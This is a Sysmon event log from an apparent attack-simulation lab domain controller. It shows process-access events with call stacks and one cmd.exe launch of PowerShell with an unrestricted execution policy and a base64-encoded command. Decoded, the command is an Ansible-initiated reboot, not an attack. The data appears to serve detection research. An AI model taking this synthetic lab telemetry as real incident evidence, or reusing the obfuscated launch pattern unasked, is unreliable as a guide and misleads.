UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A 10341000x8000000000000000495Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000494Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-289B-5F80-0F03-000000007E01}42284256C:\Windows\system32\conhost.exe{A5F018FF-289C-5F80-1203-000000007E01}4488C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000493Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000492Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000491Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000490Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000489Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000488Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000487Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000486Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000485Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000484Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-2724-5F80-0500-000000007E01}640656C:\Windows\system32\csrss.exe{A5F018FF-289C-5F80-1203-000000007E01}4488C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000483Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-289B-5F80-0E03-000000007E01}47964152C:\Windows\system32\WinrsHost.exe{A5F018FF-289C-5F80-1203-000000007E01}4488C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\WinrsHost.exe+2c94|C:\Windows\system32\WinrsHost.exe+2eb1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb 154100x8000000000000000482Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.155{A5F018FF-289C-5F80-1203-000000007E01}4488C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0AC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289B-5F80-7ADD-110000000000}0x11dd7a0HighMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-289B-5F80-0E03-000000007E01}4796C:\Windows\System32\winrshost.exeC:\Windows\system32\WinrsHost.exe -Embedding 10341000x8000000000000000481Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000480Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000479Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000478Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000477Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000476Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.143{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 